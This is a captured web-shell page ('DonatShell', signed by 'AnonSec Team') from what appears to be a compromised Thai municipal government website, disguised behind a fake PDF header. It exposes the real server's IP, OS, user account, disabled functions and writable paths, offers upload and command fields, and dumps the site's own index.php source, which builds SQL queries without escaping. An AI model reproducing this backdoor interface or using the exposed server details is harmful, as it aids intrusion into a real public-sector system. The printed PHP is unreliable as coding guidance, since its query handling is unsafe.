%PDF-1.5 % ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 122.155.17.190  /  Your IP : 18.220.98.157
Web Server : Apache/2
System : Linux cat17190.thaihostserver.com 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
User : bungkla ( 1054)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/bungkla/domains/bungkla.go.th/public_html/otops/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/bungkla/domains/bungkla.go.th/public_html/otops/index.php
<?
Header("Content-Type: text/html; charset=UTF-8");;
include("../include/config.php");
include("../include/function.php");
include("../include/config_db.php");			

//$sql = "select * From `otop_album` where (`alb_default`=1) and (`sst_id`=1) ";
$sql = "select * from `otop_album` where 1 order by `order_item` Desc ,`date_update` Desc limit 1 ";
$result = mysql_query($sql) or die("Can't send query !A");
$c_alb_id = 0;
$num_rows = mysql_num_rows($result);
if($num_rows>0){
	$c_alb_id = mysql_result($result, 0,"id");
	$c_alb_title = mysql_result($result, 0,"alb_title");
	$c_alb_counter = mysql_result($result, 0,"alb_counter");
	$c_alb_counter = $c_alb_counter + 1;
	$sql = "update `otop_album` set `alb_counter`='$c_alb_counter' where (`id`='$c_alb_id')";
	$dbquery = mysql_query($sql) or die("ไม่สามารถบันทึกข้อมูลได้ !B");
	unset($dbquery);
}
mysql_free_result($result);
unset($result);
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>ผลิตภัณฑ์ในชุมชน <?=$c_alb_title;?></title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="KeyWords" content="<?=$c_alb_title;?>, 
สำนักงานเทศบาลตำบลห้วยใหญ่  ตำบลห้วยใหญ่ อำเภอบางละมุง จ.ชลบุรี , อัลบั้มภาพสินค้าชุมชน" />
<meta name="Description" content="อัลบั้มภาพสินค้าชุมชน <?=$c_alb_title;?> สำนักงานเทศบาลตำบลห้วยใหญ่  เลขที่  59  หมู่ที่ 3 ตำบลห้วยใหญ่ อำเภอบางละมุง จังหวัดชลบุรี 20150 : www.huayyai.go.th" />
<meta name="ROBOTS" content="index, follow" />
<meta http-equiv="CACHE-CONTROL" content="NO-CACHE">
<meta http-equiv="EXPIRES" content="Sun, 1 Jan 2000 12:00:00 GMT">
<meta http-equiv="PRAGMA" content="NO-CACHE">
<link href="svstyles.css?v=<?php echo filemtime('svstyles.css');?>" rel="stylesheet" type="text/css" />
<link href="../css/Image-Slider2.css" rel="stylesheet" type="text/css"/>
<link href="../css/Hoverable-Sidenav.css" rel="stylesheet" type="text/css"/>
<link  href="../css2/menu-left.css" rel="stylesheet" type="text/css"/>
<link rel="stylesheet" href="../css2/imgSlider.css">
   
<script type="text/javascript">

//If using image buttons as controls, Set image buttons' image preload here true
//(use false for no preloading and for when using no image buttons as controls):
var preload_ctrl_images=true;

//And configure the image buttons' images here:
var previmg='left.gif';
var stopimg='stop.gif';
var playimg='play.gif';
var nextimg='right.gif';

var slides2=[]; //SECOND SLIDESHOW

//optional properties for these images:
//slides2.no_nameriptions=1; //use for no descriptions displayed
//slides2.desc_prefix='<b>Description:<\/b> '; //string prefix for image descriptions display
slides2.controls_top=1; //use for top controls
slides2.counter=1; //use to show image count
//slides2.specs='width=900, height=600'; //global specifications for this show's new window(s)
slides2.width=900; //use to set width of widest image if dimensions vary
slides2.height=600; //use to set height of tallest image if dimensions vary
//slides2.no_auto=1; //use to make show completely user operated (no play button, starts in stopped mode)
//slides2.use_alt=1; //use for descriptions as images alt attributes
//slides2.use_title=1; //use for descriptions as images title attributes
//slides2.nofade=1; //use for no fade-in, fade-out effect for this show
slides2.border=2; //set border width for images
slides2.border_color='lightblue'; //set border color for images
slides2.image_controls=1; //use images for controls
slides2.button_highlight='#cccccc'; //onmouseover background-color for image buttons (requires image_controls=1)
//slides2.random=1; //set a random slide sequence on each page load
slides2.manual_start=0; //start show in manual mode (stopped)
slides2.delay=5000; //will set miliseconds delay between slides for a given show, may also be set in the call as the last parameter
slides2.fadecolor='#ffffff'; //will set fading images background color, defaults to white
slides2.pause=1; //use for pause onmouseover

//Notes:
//slides#.target will set a target for a slide group, will be overridden by slides#[#][3], if present
//slides#.no_controls will set a slide show with no controls
//slides#.jumpto=1 will display added controls to jump to a particular image by its number
//slides#.no_added_linebreaks=1; use for no added line breaks in formatting of texts and controls

</script>
<script src="slideshow.js" type="text/javascript"></script>



<link rel="icon" href= "../logo/logo01.png" type="image/x-icon"/>
<link href="../styles.css" rel="stylesheet" type="text/css" />


















<style type="text/css">
<!--
body {
	margin-left: 0px;
	margin-top: 0px;
	margin-right: 0px;
	margin-bottom: 0px;
	font-family: 'Kanit', sans-serif;	

}
-->
</style>

<style type="text/css">
<!--
a:link {
	text-decoration: none;
}
a:visited {
	text-decoration: none;
}
a:hover {
	text-decoration: none;
}
a:active {
	text-decoration: none;
}
.style6 {color: #000000}
.style7 {font-size: 18px}
.style9 {font-size: 20px; color: #FFFFFF; }
-->
</style>

<!--font-->
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Kanit:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap" rel="stylesheet">
<!--font-->

</head>





<body  background="../images/0bg1.jpg" style="background-repeat:no-repeat; background-position:top"   font-family: 'Kanit', sans-serif;	>










<!-- content -->
<div align="center">
  <table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
    
	
<tr>
    <td height="144" align="center" valign="top"><img src="../images/01logo_head.png" width="980" height="144"></td>
  </tr>
  <tr>
          <td align="center" valign="top"><div align="center"><marquee behavior="SCROLL"><img src="../images/b_n/77.gif" width="112" height="167" />
            </marquee>
            </div></td>
    </tr>
  <tr>
    <td height="292" align="center" valign="top">&nbsp;</td>
  </tr>
    <tr>
    <td height="131" align="center" valign="top"><table width="980" height="131" border="0" align="center" cellpadding="0" cellspacing="0">
      <tr>
        <td align="center" valign="top"><img src="../images/bg/bt5.gif" width="256" height="96" /></td>
        <td align="center" valign="top">&nbsp;</td>
        <td align="center" valign="top"><div align="center"><style>
				  * {
    -moz-box-sizing: border-box;
    -webkit-box-sizing: border-box;
    box-sizing: border-box;
    margin: 0;
    padding: 0;
}

.image-box {
    position: relative;
    margin: auto;
    overflow: hidden;

}
.image-box img {

    transition: all 0.3s;
    display: block;
    height: auto;
    transform: scale(1);
}

.image-box:hover img {
    transform: scale(1.1);
}

</style></div></td>
        <td align="center" valign="top"><img src="../images/bg/bt5.gif" width="256" height="96" /></td>
      </tr>
    </table></td>
  </tr>
						    <tr>
						      <td height="163" align="center" valign="top" class="manu1"><table width="980" height="163" border="0" cellpadding="0" cellspacing="0">
                                <tr>
                                  <td><div align="center"class="image-box"><a href="/index.php"><img src="../images/03menutop_01.png" width="163" height="163" border="0" /></a></div></td>
                                </tr>
                              </table>
  <tr>
	
        <tr>
          <td align="center" valign="top"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
            <tr>
              <th align="center" valign="top" scope="col"><table width="980" border="0" align="center" cellpadding="0" cellspacing="0">
                <tr>
                  <th align="center" valign="top" scope="col">
				  
				  
				  
				  
				  
				  <table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
        <tr>
          <th height="5" align="center" valign="top" scope="col">&nbsp;</th>
        </tr>
        <tr>
          <td align="center" valign="top">
            <table width="960" border="0" align="center" cellpadding="0" cellspacing="0">
              <tr>
                <th valign="top" scope="col"><div align="center">
			<table width="100%" border="0" cellspacing="0" cellpadding="0" align="center">
			<tr><td height="5" valign="top">&nbsp;<a name="toppage"></a></td>
			</tr>
			<tr>
			   <td class="title2"><div align="center"></div></td>
			</tr>
			</table>
		  </div></th>
              </tr>
              <tr>
                <td valign="top">
				
				<div id="main">
	<div id="svDivActivitiesD"><!--Content-->
			<div id="svDivAlbums">
				<div id="svDivAlbums3">
					<div id="svDivAlbums31"><img src="<?=$_web_path;?>/otops/images/albums_03_01.jpg" width="930" height="10" alt=""></div>
					<div id="svDivAlbums32"><img src="<?=$_web_path;?>/otops/images/albums_03_02.jpg" width="10" height="800" alt=""></div>
					<div id="svDivAlbums33">
					<?
					if($num_rows>0)
					{
						echo "<br /><font size=3><b>อัลบั้มภาพ ".$c_alb_title."</b></font>";

						$sql = "select * From `otop_album_detail` where (`alb_id`='$c_alb_id') ";
						$sql .= "Order by `id` Asc ";
						
						$result = mysql_query($sql) or die("Can't send query !B");
						$num_pic = mysql_num_rows($result);
						$item = 0;

						While($row= mysql_fetch_assoc($result))
						{
							$c_ald_id = $row["id"];
							$c_ald_name = $row["ald_name"];
							$str = $c_ald_name;
							$order   = array("\r\n", "\n", "\r");
							$replace = '<br>';
							$newstr = str_replace($order, $replace, $str);
							$newstr = str_replace('"', "'", $newstr);
							$c_ald_photopath = ($row["ald_photopath"]);
							if($c_ald_photopath != "")
							{
								$images = $_web_path."/photoThumbnail/otops/a".$c_alb_id."_a/".$c_ald_photopath;
							?>
								<script type="text/javascript">
									slides2[<?=$item;?>] = ["<?=$images;?>", "<?=$newstr;?>", "", "_new", "top=250, left=300, width=900, height=600, location, resizable, scrollbars", ""];
								</script>
							<?
							}
							$item = $item + 1;
						}//while
						mysql_free_result($result);
						unset($result);
					?>
							<script type="text/javascript">
							new inter_slide(slides2)
							</script>
					<?
					}
					else
					{
						echo "<br /><font size=\"3\"><b>..ยังไม่มีอัลบั้มภาพ..</b></font>";
					}
					?>
					</div>
					<div id="svDivAlbums34"><img src="<?=$_web_path;?>/otops/images/albums_03_04.jpg" width="20" height="800" alt=""></div>
					<div id="svDivAlbums35"><img src="<?=$_web_path;?>/otops/images/albums_03_05.jpg" width="930" height="20" alt=""></div>
				</div>
				<div id="svDivAlbums4"><font class="hmenu">* อัลบั้ม *</font></div>
				<div id="svDivAlbums5" class="magnifyarea">

					<?
	
					echo "<div id=\"svDivAlbums5Row\">\n";
	
					$sql = "select * From `otop_album` where 1 ";
					$sql .= "Order by `order_item` Desc ,`date_update` Desc ";
					
					$item = 0;
					$Per_Page = 20;
					if(!$_GET['Page'])
					{
						$Page=1;
					}else
					{
						$Page = $_GET['Page'];
					}
					$Prev_Page = $Page-1;
					$Next_Page = $Page+1;
					$Page_start = ($Per_Page*$Page)-$Per_Page;
					$sql_2 = "SELECT COUNT(*) AS num_rows_2 FROM `otop_album` where 1 ";
					$dbquery = mysql_query($sql_2);
					$Num_Rows = mysql_num_rows($dbquery);
					if($Num_Rows>0)
					{
						$Num_Rows = mysql_result($dbquery, 0,"num_rows_2");
					}
					mysql_free_result($dbquery);
					unset($dbquery);
					if($Num_Rows<=$Per_Page)
					$Num_Pages =1;
					else if(($Num_Rows % $Per_Page)==0)
					$Num_Pages =($Num_Rows/$Per_Page) ;
					else 
					$Num_Pages =($Num_Rows/$Per_Page) +1;
					$Num_Pages = (int)$Num_Pages;
					if(($Page>$Num_Pages) || ($Page<0))
					print "<center><b>ยังไม่มีข้อมูล<b></center>";
					//print "<center><b>จำนวน $Page มากกว่า $Num_Pages ยังไม่มีข้อความ<b></center>";
					$sql .= "LIMIT $Page_start , $Per_Page";
					//ส่วนแสดงผล
					$result = mysql_query($sql);
					//$item = ($Page-1) * $Per_Page;
					$item = 0;

					While($row= mysql_fetch_assoc($result))
					{
						$item = $item + 1;
						if (($item % 6) == 0){
							echo "</div><br>\n";
							echo "<div id=\"svDivAlbums5Row\">\n";
							$item = 1;
						}
					
						$c_id =  $row["id"];
						$c_alb_title = $row["alb_title"];
						if(strlen($c_alb_title) > 60){
							$c_alb_title = trim(utf8_substr($c_alb_title,0,60));
						}
						$c_alb_thumb = $row["alb_thumb"];
						$c_alb_thumb = trim($c_alb_thumb);
						$c_date_publish = $row["date_publish"];
						$c_date = dateThai_MM($c_date_publish);
						$c_alb_counter = $row["alb_counter"];
						$images = ""; 
						if($c_alb_thumb != "")
						{
							$images = "../photoThumbnail/otops/thumb/".$c_alb_thumb;
						}
						else
						{
							$images = "images/noimage.gif";
						}
						$r_item = $item+2;
						
						$sqlp = "select `alb_id` From `otop_album_detail` where (`alb_id`='$c_id') ";
						
						$resultp = mysql_query($sqlp);
						$num_pic = mysql_num_rows($resultp);
						if($num_pic>0)
						{
							mysql_free_result($resultp);
						}

						echo "	<div id=\"svDivAlbums5".$r_item."\">\n";
						echo "		<div id=\"svDivAlbums531\" style=\"\"><img src=\"".$_web_path."/otops/images/albums_05_03_01.jpg\" width=\"159\" height=\"5\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums532\" style=\"\"><img src=\"".$_web_path."/otops/images/albums_05_03_02.jpg\" width=\"4\" height=\"100\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums533\" style=\"\"><a href=\"otop.php?salb_id=".$c_id."\" title=\"".$c_alb_title."\"><img src=\"".$images."\" width=\"150\" height=\"100\" alt=\"".$c_alb_title."\" border=\"0\"></a></div>\n";
						echo "		<div id=\"svDivAlbums534\" style=\"\"><img src=\"".$_web_path."/otops/images/albums_05_03_04.jpg\" width=\"5\" height=\"100\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums535\" style=\"\"><img src=\"".$_web_path."/otops/images/albums_05_03_05.jpg\" width=\"159\" height=\"11\" alt=\"\"></div>\n";
						echo "		<div id=\"svDivAlbums536\" style=\"\"  class=\"linktextblack\"><a href=\"otop.php?salb_id=".$c_id."\" class=\"linktextblack\" title=\"".$c_alb_title."\" class=\"linktextblack\">".$c_alb_title."</a><br /><font class=\"textgray\">(จำนวน ".$num_pic." รูป ชมแล้ว ".$c_alb_counter." ครั้ง)<br />ประกาศวันที่ ".$c_date."</font></div>\n";
						echo "	</div>\n";

					} //while

					echo "</div>\n";
					echo "<div id=\"svDivAlbumsMore\">\n";

					$PHP_SELF = $_SERVER['PHP_SELF'];
					if($Prev_Page) 
					echo "&nbsp;&nbsp;<a href='$PHP_SELF?Page=1#top_page' class='linktextblack'><<</a>&nbsp;&nbsp;<a href='$PHP_SELF?Page=$Prev_Page#top_page' class='linktextblack'><</a>&nbsp;";
					$Show_Page = 10;
					$s1 = $Page - $Show_Page;
					if($s1 <= 0 ){$s1 = 1;}
					$s2 =  $Page + $Show_Page;
					if($s2 > $Num_Pages){$s2 = $Num_Pages;}
					if($s1 == 1 ){
						$s2 = $Show_Page+10;
						if($s2 > $Num_Pages){$s2 = $Num_Pages;}
					}
					if(($s2 == $Num_Pages) &&($s1 != 1)){
						$s1 = $Num_Pages-20;
						if($s1 <= 0 ){$s1 = 1;}
					}

					for($i=$s1; $i<=$s2; $i++)
					{
						if($i != $Page)
						{
							echo "<a href='$PHP_SELF?Page=$i#top_page' class='linktextblack'>[ $i ]</a>";
						}
						else
						{
							if($Num_Rows > $Per_Page){
								echo "<font class='linktextblack'><b>[ $i ]</b></font>";
							}
						}
					}

					if($Num_Pages>($i-1))
					{
						if($Num_Pages>($i+1))
						{
							$bNum_Pages = $Num_Pages - 1;
							echo "...<a href ='$PHP_SELF?Page=$bNum_Pages#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
						}else if($Num_Pages==($i+1))
						{
							$bNum_Pages = $i;
							echo "<a href ='$PHP_SELF?Page=$bNum_Pages#top_page' class='linktextblack'>[ $bNum_Pages ]</a>";
						}
						echo "<a href ='$PHP_SELF?Page=$Num_Pages#top_page' class='linktextblack'>[ $Num_Pages ]</a>";
					}

					if($Page!=$Num_Pages)
					echo "&nbsp;<a href ='$PHP_SELF?Page=$Next_Page#top_page' class='linktextblack'>&nbsp;></a>&nbsp;&nbsp;<a href ='$PHP_SELF?Page=$Num_Pages#top_page' class='linktextblack'>>></a>";
					echo "</div>\n";
					if(isset($result)){
					mysql_free_result($result );
					unset($result);
					}
					include("../include/close_db.php");

					?>
				</div>
			</div>
	</div>
</div>				</td>
              </tr>
              <tr>
                <td valign="top">&nbsp;</td>
              </tr>
            </table>          </td>
        </tr>
      </table>				  </th>
                </tr>
              </table></th>
            </tr>
          </table></td>
        </tr>
        <tr>
          <td align="center" valign="top">&nbsp;</td>
        </tr>
  </table>
  </th>    </tr>
  </table>
</div>
<!-- end_content -->

<tr><td><a style="display:scroll;position:fixed;bottom:5px;right:5px;" class="backtotop" href="#top" rel="nofollow" title="Back to Top"></a></td>
</tr>
</body>
</html>



Anon7 - 2022
AnonSec Team